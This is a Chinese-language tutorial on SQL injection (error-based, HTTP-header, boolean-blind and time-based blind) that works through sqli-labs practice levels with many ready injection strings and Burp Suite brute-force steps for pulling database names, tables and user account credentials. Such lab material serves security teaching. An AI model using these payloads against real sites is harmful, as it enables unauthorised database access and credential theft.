SQL注入（head、报错、盲注）

news2024/11/26 22:37:48

目录

【学习目标、重难点知识】

【学习目标】

【重难点知识】

1. 报错注入

1.1 那么什么是报错注入呢？

1.2 报错注入原理

extractvalue函数

updatexml函数

1.3 靶场解析

靶场练习

2. HEAD注入

2.1 相关全局变量

2.2 靶场解析

burp暴力破解

靶场练习

3. 布尔盲注

3.1 相关的函数

3.2 注入漏洞判断

3.3 靶场解析

3.5 burp结合布尔盲注

4. 时间盲注

4.1 原理

4.2 特点

4.3 常用函数

4.4 语义解析

​编辑

靶场练习

4.6 靶场解析

【学习目标、重难点知识】

【学习目标】

  1. 报错注入
  1. HEAD注入
  1. 布尔盲注
  1. 时间盲注

【重难点知识】

  1. 报错注入
  1. HEAD注入
  1. 布尔盲注

1. 报错注入

1.1 那么什么是报错注入呢？

• 在MYSQL中使用一些指定的函数来制造报错，后台没有屏蔽数据库报错信息，在语法发生错误时会输出在前端，从而从报错信息中获取设定的信息。select/insert/update/delete都可以使用报错来获取信息。

• 常用的爆错函数updatexml()，extractvalue()，floor() ,exp()

• 基于函数报错的信息获取(select/insert/update/delete)

• updatexml()函数是MYSQL对XML文档数据进行查询和修改的XPATH函数；

• extractvalue()函数也是MYSQL对XML文档数据进行查询的XPATH函数；

1.2 报错注入原理

由于后台没有对数据库的报错信息做过滤，会输入到前台显示，那么我们可以利用制造报错函数（常用的如extractvalue、updatexml等函数来显示出报错的信息输出）

MySQL 5.1.5版本中添加了对XML文档进行查询和修改的两个函数：extractvalue、updatexml

通过这两个函数可以完成报错注入

extractvalue函数
语法：ExtractValue(target, xpath)

target：包含XML数据的列或XML文档
xpath：XPath 表达式，指定要提取的数据路径。
  • concat()：用来连接多个字符串
  • group_concat()：将某一组或一列数据合并成一个字符串，用逗号分隔
SELECT ExtractValue('1', concat('~',database()));

例如：SELECT ExtractValue('<a><b>1231313<b/></a>', '/a/b');

就是寻找前一段xml文档内容中的a节点下的b节点，这里如果Xpath格式语法书写错误的话，就会报错。这里就是利用这个特性来获得我们想要知道的内容。

（这里我们是为了学习报错注入，所以不需要太详细的知道该函数具体原理）

利用concat函数将想要获得的数据库内容拼接到第二个参数中，报错时作为内容输出。

updatexml函数
语法：updateXML(target, xpath, new_value)

target：要更新的 XML 数据列或 XML 文档。
xpath：指定要更新的 XML 元素的 XPath 表达式。
new_value：新的值，将替代匹配的 XML 元素的内容。
select updatexml('1', concat('~',user()), '1');

比如：

UPDATE your_table
SET xml_data = updatexml(xml_data, '/root/element', 'new_value')
WHERE some_condition;

上述 SQL 查询会在满足 some_condition 的记录中，将 /root/element 的内容替换为 'new_value'。

如果未xpath_expr找到表达式匹配 ，或者找到多个匹配项，则该函数返回原始 xml_targetXML片段。所有三个参数都应该是字符串。

1.3 靶场解析

Less-13 POST - Error Based - Single quotes- String (基于错误的POST型单引号字符型注入)

1、从判断注入点=>尝试联合无果

。。。。。。

2、尝试报错

123') and ExtractValue('1', concat('~',database(),'~')); -- s 

123') and updatexml('1', concat('~',(select version()),'~'), '1') -- s

3、获取所有库名，发现长度有限制

123') and updatexml('1', concat('~',(select group_concat(schema_name) from information_schema.schemata ),'~'), '1') -- s

4、获取所有库名substr()：截取字符串

123') and updatexml('1', concat('~',substr((select group_concat(schema_name) from information_schema.schemata ),1,30),'~'), '1') -- s

123') and updatexml('1', concat('~',substr((select group_concat(schema_name) from information_schema.schemata ),31,60),'~'), '1') -- s

....
依次类推

5、获取表名

6、获取字段名

7、获取内容user表账号密码信息

靶场练习

报错注入

Less-5、Less-6、Less-13、Less-14

2. HEAD注入

2.1 相关全局变量

PHP 中的许多预定义变量都是“超全局的”，这意味着它们在一个脚本的全部作用域中都可用。

这些超全局变量是：

$_REQUEST （获取GET/POST/COOKIE） COOKIE在新版本已经无法获取了

$_POST （获取POST传参）

$_GET (获取GET的传参)

$_COOKIE （获取COOKIE的值）

$_SERVER （包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组）

$_SERVER功能强大。

$_SERVER['HTTP_HOST'] 请求头信息中的Host内容，获取当前域名。

$_SERVER["HTTP_USER_AGENT"] 获取用户相关信息，包括用户浏览器、操作系统等信息。

$_SERVER["HTTP_REFERER"] 获取请求来源

$_SERVER["HTTP_X_FORWARDED_FOR"] 获取浏览用户IP

$_SERVER["REMOTE_ADDR"] 浏览网页的用户ip。

  • 获取heard头信息，记录到数据库中
insert into 表名（字段，字段，字段） values (值，值，值)
  • 为什么会存在heard头注入
    • 当目标记录head信息的时候，我们去抓包修改head信息，将sql语句插入到head头里面，目标记录的时候，如果没有做过滤，容易把sql语句带入到数据库执行

2.2 靶场解析

Less-18 POST- Header Injection - Uagent field-Error Based(Header注入- UA-报错)

burp暴力破解

指定爆破模块：sniper

sniper(狙击手模式)：替换爆破参数中的内容，如果有多个爆破点，第一个爆破完，再去爆破第二个

battering ram(破城锤)：使用相同的字典，同时爆破所有爆破点

pitchfork(音叉模式)：同时爆破，爆破点1指定字典1，爆破点2指定字典2

cluster bomb(集束炸弹)：依次使用字典1与字典2进行组合爆破，笛卡尔积

成功爆破出账号密码

1、修改UA头报错

User-Agent: 1'

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '127.0.0.1', 'admin')' at line 1


insert into 表名（字段，字段，字段） values ('1',2,3) --a          ','127.0.0.1','admin')
insert into 表名（字段，字段，字段） values ('1',123,123) -- s'，'192.168.13.1'，'admin')

2、爆数据库名

User-Agent: 1','123','123' and ExtractValue('1', concat('~',database(),'~'))) -- s

3、爆出所有的库名

User-Agent: 1','123','123'and ExtractValue('1', concat('~',(select group_concat(schema_name) from information_schema.schemata ),'~'))) -- s

4、如果长度还是有限制，加上substr()函数，截取字符串

Pass - 7：user_agent

pass - 8：referer

1','123'and ExtractValue('1', concat('~',database(),'~'))) -- s

靶场练习

Less-18、Less19

3. 布尔盲注

有些情况下，开发人员屏蔽了报错信息，导致攻击者无法通过报错信息进行注入的判断。这种情况下的注入，称为盲注。盲注根据展现方式，分为boolean型盲注和时间型盲注。

Boolean是基于真假的判断（true or false）; 不管输入什么，结果都只返回真或假两种情况； 通过and 1=1和and 1=2可以发现注入点。

Boolean型盲注的关键在于通过表达式结果与已知值进行比对，根据比对结果 判断正确与否。

3.1 相关的函数

通过长度判断length():length(database())>=x

通过ascII码判断:ascii():ascii(substr(database(),1,1)) >=x

通过字符判断substr():substr(database(),1,1) ='s'

3.2 注入漏洞判断

1.id=1' 报错

2.id=1 and 1=1 结果和id=1一样

3.id=1 and 1=2 结果异常

3.3 靶场解析

Pass - 10 布尔盲注01，02，03

判断闭合方式：
数值型

判断长度：
?id=1 and length(database())=14 -- s

判断第一个字符：
ascii二分法判断第一个字符
?id=1 and ascii(substr(database(),1,1))=122

判断第二个字符：
?id=1 and ascii(substr(database(),2,1))>100

POST - 布尔盲注

&username=qwe' or length(database())=14 #

靶场练习

Less-8 GET - Blind - Boolian Based - Single Quotes (布尔型单引号GET盲注)

1、首先判断注入点，既不能联合也不能报错

2、尝试布尔盲注，首先判断当前数据的长度

二分法判断长度
http://sqli-labs-maste/Less-8/?id=1' and length(database())>10 -- s
http://sqli-labs-maste/Less-8/?id=1' and length(database())>5 -- s

...........

http://sqli-labs-maste/Less-8/?id=1' and length(database())=8 -- s

3、判断库名具体的字符-

security

判断第1位，二分法，依次去判断ascii码
http://sqli-labs-maste/Less-8/?id=1' and ascii(substr(database(),1,1))>115 -- s


判断第2位，二分法，依次去判断ascii码
http://sqli-labs-maste/Less-8/?id=1' and ascii(substr(database(),2,1))>115 -- s

.。。。。。。。。。。。

判断第8位，二分法，依次去判断ascii码
http://sqli-labs-maste/Less-8/?id=1' and ascii(substr(database(),14,1))>115 -- s

直到判断出所有字符

4、判断表长度

http://sqli-labs-maste/Less-8/?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>6 -- s			//返回异常

http://sqli-labs-maste/Less-8/?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=6 -- s			//返回正常

说明第一个表有6个字符

5、判断表名每个字符ascii值

  • 判断第1个表名的第一个字符的ascii值
http://sqli-labs-maste/Less-8/?id=1' and 
ascii(

substr(

(select table_name from information_schema.tables where table_schema=database() limit 0,1)

,1,1)

)>80 -- s

........

  • 判断第2个表名的第一个字符的ascii值（判断之前先判断一下第2个表的长度）
http://sqli-labs-maste/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>80 -- s
  • 直到判断出想要的用户相关的表

6、如果找到users表，表中的字段

7、获取内容值

判断长度：
http://sqli-labs-maste/Less-8/?id=1' and (length(username) from users limit 0,1)>4 -- s

判断内容：
http://sqli-labs-maste/Less-8/?id=1' and 
(ascii(substr((select username from users limit 0,1),1,1)))>68

思考？每次只需要变动的地方是什么？

3.5 burp结合布尔盲注

先写好爆破语句

?id=1' and (ascii(substr((select username from users limit 0,1),1,1)))=68 -- s

抓包，将请求放入爆破模块中

选择爆破方式，添加爆破变量

选择爆破的字典

开始攻击

筛选长度

1——68
2——117
3——109
4——98
对着ASCII码，账户是Dumb

4. 时间盲注

代码存在sql注入漏洞，然而页面既不会回显数据，也不会回显错误信息，语句执行后也不提示真假，我们不能通过页面的内容来判断。这里我们可以通过构造语句，通过页面响应的时长，来判断信息，这既是时间盲注。

4.1 原理

利用sleep()或benchmark()等函数让mysql执行时间变长经常与if(expr1,expr2,expr3)语句结合使用，通过页面的响应时间来判断条件是否正确。if(expr1,expr2,expr3)含义是如果expr1是True,则返回expr2,否则返回expr3。

4.2 特点

  • 通过时间回显的延迟作为判断payload=1' and sleep(5)--+ 有延迟则考虑时间盲注
  • 利用sleep()或benchmark()函数延长mysql的执行时间
  • 与if()搭配使用

4.3 常用函数

• left(m,n) --从左向右截取字符串m返回其前n位

• substr(m,1,1) --取字符串m的左边第一位起，1字长的字符串

• ascii(m) --返回字符m的ASCII码

• if(str1,str2,str3)--如果str1正确就执行str2，否则执行str3

• sleep(m)--使程序暂停m秒

• length(m) --返回字符串m的长度

• count(column_name) --返回指定列的值的数目

4.4 语义解析

if(expr1,expr2,expr3)

对expr1进行布尔判断，如果为真，则执行expr2,如果为假，则执行expr3

常用payload；

if(length(database())>1,sleep(5),1)

如果数据库名字符长度大于1为真，mysql休眠5秒，如果为假则查询1。而查询1的结果，大约只有几十毫秒，根据Burp Suite中页面的响应时间，可以判断条件是否正确。

靶场解析：

http://sqli21/Pass-13

判断当前数据库名的第一个字符的ASCII码

http://sqli21/Pass-13/index.php?id=1" and if(


ascii(

substr(

database()

,1,1)

)>115


,sleep(5),1) -- a

靶场练习

Less-9 GET - Blind - Time based. - Single Quotes (基于时间的GET单引号盲注)

Less-10 GET - Blind - Time based - double quotes (基于时间的双引号盲注)

4.6 靶场解析

Less-9 GET - Blind - Time based. - Single Quotes (基于时间的GET单引号盲注)

1、判断数据库长度

2、判断数据库字符

id=1' and if((ascii(substr(database(),1,1)))>115,sleep(5),1)-- s

3、判断表名长度

4、判断表名字符

。。。。。。。。。。省略自行练习

5、查找出内容

---------------------------------------------------------------------------------------------------------------------------------

---------------------------------------------------------------------------------------------------------------------------------

之后我会继续出sql注入知识点总结直至完整，如有需要请关注持续更新（本文部分内容来自课件，如有版权问题请与我联系）

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/2045102.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

关于LLC知识6

关于LLC知识6

总阻抗容抗感抗R 容抗和感抗可以互相抵消&#xff0c;但无论容抗或者感抗都不可以和R相互抵消。 容抗、感抗和R可以这样表示。 这里就出现了一个字母&#xff1a;j&#xff08;沿着坐标系逆时针旋转90&#xff09; 所以&#xff0c;总阻抗-j5Ω 所以&#xff0c;无论怎样&a…
阅读更多...
虚拟机哪个软件最好用？ 苹果电脑用虚拟机运行Windows程序 Mac电脑怎么玩Windows游戏

虚拟机哪个软件最好用？ 苹果电脑用虚拟机运行Windows程序 Mac电脑怎么玩Windows游戏

虚拟化技术就像是科技界的瑞士军刀&#xff0c;macOS用户就像是在寻找最锋利的那把刀。随着计算机技术的不断发展&#xff0c;虚拟机软件在现代信息技术领域中扮演着越来越重要的角色。虚拟机不仅可以帮助用户在一台物理机器上运行多个操作系统&#xff0c;还能有效隔离不同环境…
阅读更多...
Windows Server 2016 Standard 修改远程登录服务 Remote Desktop Service 默认端口号

Windows Server 2016 Standard 修改远程登录服务 Remote Desktop Service 默认端口号

为什么要改默认端口号&#xff1f; 主要是为了安全&#xff0c;如果该服务持续被攻击&#xff0c;会触发系统的安全机制&#xff0c;锁定账号密码&#xff0c;导致无法远程登录服务器。那可就麻烦大了。。。 1 打开注册表 在CMD命令行窗口输入 “regedit” 2 在注册表中&…
阅读更多...
CAD二次开发IFoxCAD框架系列（16）- IFoxCad的架构介绍

CAD二次开发IFoxCAD框架系列（16）- IFoxCad的架构介绍

主要是提供一个最小化的内核&#xff0c;即 DBTrans、SymbolTable、ResultData、SelectFilter 等基础类&#xff0c;其他的功能都通过扩展方法的方式来实现。 DBTrans类 事务管理器是cad .net二次开发非常重要的一部分&#xff0c;只要涉及到读写cad数据的地方几乎都在事务里…
阅读更多...
掌握Selenium爬虫的日志管理：调整–log-level选项的用法

掌握Selenium爬虫的日志管理：调整–log-level选项的用法

介绍 在使用Selenium进行Web数据采集时&#xff0c;日志管理是一个至关重要的部分。日志不仅帮助开发者监控爬虫的运行状态&#xff0c;还能在出现问题时提供有价值的调试信息。Selenium提供了多种日志级别选项&#xff0c;通过调整–log-level参数&#xff0c;开发者可以控制日…
阅读更多...
架起高效工作与持续学习之间的桥梁

架起高效工作与持续学习之间的桥梁

程序员如何平衡日常编码工作与提升式学习&#xff1f; 在快速迭代的编程世界中&#xff0c;程序员们不仅需要高效完成日常编码任务&#xff0c;还需不断学习新技术、深化专业知识&#xff0c;以应对日益复杂的项目挑战。然而&#xff0c;如何在繁忙琐碎的编码工作与个人成长之…
阅读更多...
Facebook的区块链技术：提升数据安全与隐私保护

Facebook的区块链技术：提升数据安全与隐私保护

去中心化的优势 随着数字化时代的快速发展&#xff0c;数据安全和隐私保护已成为全球范围内备受关注的话题。Facebook作为全球最大的社交平台之一&#xff0c;正在积极探索如何通过区块链技术来提升数据的安全性和用户的隐私保护。区块链技术以其去中心化、不可篡改和透明的特…
阅读更多...
网络硬盘录像机NVR解決方案：海思3520D模组与全面的NVR方案支持

网络硬盘录像机NVR解決方案：海思3520D模组与全面的NVR方案支持

随着视频监控技术的不断发展&#xff0c;网络硬盘录像机&#xff08;NVR&#xff09;已经成为现代安防系统中不可或缺的一部分。NVR作为视频监控系统的核心设备&#xff0c;不仅负责视频的实时录制和存储&#xff0c;还承担着视频回放、告警触发、远程监控等重要功能。 我们基…
阅读更多...
C语言中的⽂件操作

C语言中的⽂件操作

1. 为什么使⽤⽂件&#xff1f; 如果没有⽂件&#xff0c;我们写的程序的数据是存储在电脑的内存中&#xff0c;如果程序退出&#xff0c;内存回收&#xff0c;数据就丢失了&#xff0c;等再次运⾏程序&#xff0c;是看不到上次程序的数据的&#xff0c;如果要将数据进⾏持久化…
阅读更多...
科望医药两年亏损超16亿：大幅收缩成本，核心产品试验数据欠佳

科望医药两年亏损超16亿：大幅收缩成本，核心产品试验数据欠佳

《港湾商业观察》黄懿 6月27日&#xff0c;科望医药集团&#xff08;下称“科望医药”&#xff09;向港交所提交上市申请&#xff0c;中信证券为其独家保荐人。 科望医药是一家处于临床阶段的生物医药公司&#xff0c;利用新一代疗法创新肿瘤治疗。 该公司大有来头&#xff…
阅读更多...
【VRPCB】Python+Gurobi求解运输问题建模实践三

【VRPCB】Python+Gurobi求解运输问题建模实践三

采用PythonGurobi求解带有集群回程需求的VRPCB问题 目录 1. 模型1.1 VRPB问题介绍1.2 数学模型1.2.1 模型参数1.2.2 数学模型1.2.3 模型分解 2. 数据结构3. Gurobi源码4. 求解结果参考 1. 模型 1.1 VRPB问题介绍 带有回程需求的VRP问题&#xff08;VRP with Backhauls,VRPB)最…
阅读更多...
PTrade常见问题系列23—量化是否支持读写文件？如何实现？

PTrade常见问题系列23—量化是否支持读写文件？如何实现？

jupyterhub进程异常退出&#xff1f; 1、检查/var/log/jupyterhub.log日志&#xff0c;发现在进程503之前存在QA_DATA的请求URL&#xff0c;该问题是通过终端内帮助文档页面的常见问题说明链接跳转时&#xff0c;存在小概率导致hub进程503的问题&#xff1b; 2、已提交需求202…
阅读更多...
高质量翻译对增强游戏对用户情感影响的影响

高质量翻译对增强游戏对用户情感影响的影响

游戏中的事件往往是游戏中最难忘、最激动人心的时刻。这些事件——无论是戏剧性的情节转折、激烈的战斗&#xff0c;还是发自内心的角色互动——都是为了唤起玩家强烈的情感&#xff0c;让他们深深地投入到游戏中。然而&#xff0c;如果这些事件不能有效地传达给不同语言和文化…
阅读更多...
【二分查找】--- 二分模板总结

【二分查找】--- 二分模板总结

Welcome to 9ilks Code World (๑•́ ₃ •̀๑) 个人主页: 9ilk (๑•́ ₃ •̀๑) 文章专栏&#xff1a; 算法Journey 从本博客开始&#xff0c;博主将开始分享二分查找算法的相关知识。 &#x1f3e0; 朴素二分模板 --- 二分查找 &#x1f4cc; 题目内容 二…
阅读更多...
【Java日志系列】Log4j日志框架

【Java日志系列】Log4j日志框架

目录 前言 一、Log4j简介 二、Log4j组件介绍 1. Loggers 2. Appenders 3. Layouts 三、快速入门 1. 入门代码 2. 日志级别 四、配置文件的使用 五、自定义日志输出格式 六、配置不同的Appender 1. 输出到文件 2. 输出到数据库 七、自定义Logger配置 总结 前言…
阅读更多...
用 js canvas 做一个优雅的模拟时钟， canvas 教程实例

用 js canvas 做一个优雅的模拟时钟， canvas 教程实例

用 js canvas 做一个优雅的模拟时钟&#xff0c; canvas 教程实例 有很多次&#xff0c;我都想找到一个比较不错的&#xff0c;可以查看模拟时钟的网页。 有时候是想看下距离某个时间点还有多长时间&#xff0c;有时候是想看一下&#xff0c;两个时间点之间的间隔是多少。因为…
阅读更多...
迅为i.MX8MM开发板控制GPIO高低电平-使用命令控制GPIO

迅为i.MX8MM开发板控制GPIO高低电平-使用命令控制GPIO

在文件系统的/sys 目录下给用户提供了许多接口&#xff0c;比如在/sys 下面的 bus 目录&#xff0c;这个目录下放置的都是 和总线相关的&#xff0c;比如 I2C&#xff0c;usb 等。如下图所示&#xff1a; 本章我们需要重点关注下 class 目录&#xff0c;这个目录下放置的是一…
阅读更多...
MyBatis-Plus 进阶之条件构造器Wrapper和常用接口

MyBatis-Plus 进阶之条件构造器Wrapper和常用接口

目录 1.wrapper 介绍 1.1什么是 wrapper 2.QueryWrapper 2.1测试前的准备 2.2例1&#xff1a;组装查询条件 2.3例2&#xff1a;组装排序条件 2.4例3&#xff1a;组装删除条件 2.5例4&#xff1a;条件的优先级 2.6例5&#xff1a;组装 select 子句 2.7例6&#xff1a;…
阅读更多...
Redis常见的数据类型和应用场景

Redis常见的数据类型和应用场景

目录 Redis概述 简介 特点 架构 使用场景 Mermaid图示 Redis数据类型 基础数据类型 扩展数据类型&#xff08;Redis 3.2及以上版本&#xff09; Mermaid图示 String类型详解 定义 内部实现 应用场景 Mermaid图示 List类型详解 定义 内部实现 应用场景 Merma…
阅读更多...
旧数据与新系统 —— 重现数据迁移之旅

旧数据与新系统 —— 重现数据迁移之旅

某天&#xff0c;正做卡呢。突然收到客户通知&#xff1a;不用做了&#xff0c;这系统不要了。 啊? 都搞了好几年&#xff0c;说不要就不要了&#xff0c;客户这么财大气粗&#xff1f; 细问之下&#xff0c;原来变化来源于最新的商业决策——客户收购了一个市场占有率比较大…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023